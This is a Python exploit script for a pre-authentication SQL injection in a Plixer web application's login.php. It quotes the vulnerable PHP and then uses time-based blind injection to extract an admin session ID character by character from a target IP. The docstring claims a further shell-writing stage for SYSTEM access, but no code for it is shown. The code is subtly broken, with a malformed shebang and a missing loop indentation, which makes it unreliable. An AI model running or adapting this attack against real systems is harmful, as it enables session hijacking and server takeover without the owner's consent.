#/usr/bin/python3

"""
Summary:
========

This exploits an pre-auth SQL Injection in the login.php script within an update statement to steal session data. You could also steal login creds 
which require absolutely no hash cracking since the target uses symmetric encryption. It then exploits a second post-auth SQL Injection vulnerability 
that writes a shell to the target using a relative path and gets SYSTEM.

Vulnerability:
==============

In html/d4d/login.php on lines 27-34:

    }else if ($_REQUEST['setSkin']){
        echo setUserSkin(
          array(
            'db' => $db,
            'user_id' => $_REQUEST['user_id'],
            'skin' => $_REQUEST['setSkin']
          )
        );

 Then, on lines 46-62:

 function setUserSkin($args){
    $db = $args['db'];
    
    $result = $db->query("
UPDATE plixer.userpreferences
SET setting = '$args[skin]'
WHERE prefCode = 'skin'
AND users_id = $args[user_id]");
    
    if ($args['user_id'] == 1){
        $result2 = $db->query("
UPDATE plixer.serverprefs
SET currentVal = '$args[skin]'
WHERE langKey = 'skin'");
    }
    
}
"""

import requests
import sys
def timebased_sqli(ip, inj_str):
	for j in range(32, 126):
	# now we update the sqli
	target = "http://%s/d4d/login.php?setSkin=1&user_id=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
	r = requests.get(target)
	time_elapsed = r.elapsed
	if (time_elapsed.seconds >= 2):
		return j
	return None
if __name__ == "__main__":
	if len(sys.argv) != 2:
		print ("(+) usage: %s <target>" % sys.argv[0])
		print ('(+) eg: %s 192.168.121.103' % sys.argv[0])
		sys.exit(-1)

	ip = sys.argv[1]
	print ("(+) Retrieving session information of admin sessions")
	# 16 is length of the session_ids. This can
	# be dynamically stolen from the database as well!
	for i in range(1, 17):
		injection_string = "if(ascii(substring((select+session_id+from+sessions+limit+0,1),%d,1))=[CHAR],sleep(2),null)" % i
		extracted_char = chr(timebased_sqli(ip, injection_string))
		sys.stdout.write(extracted_char)
		sys.stdout.flush()
	print ("\n(+) done!")
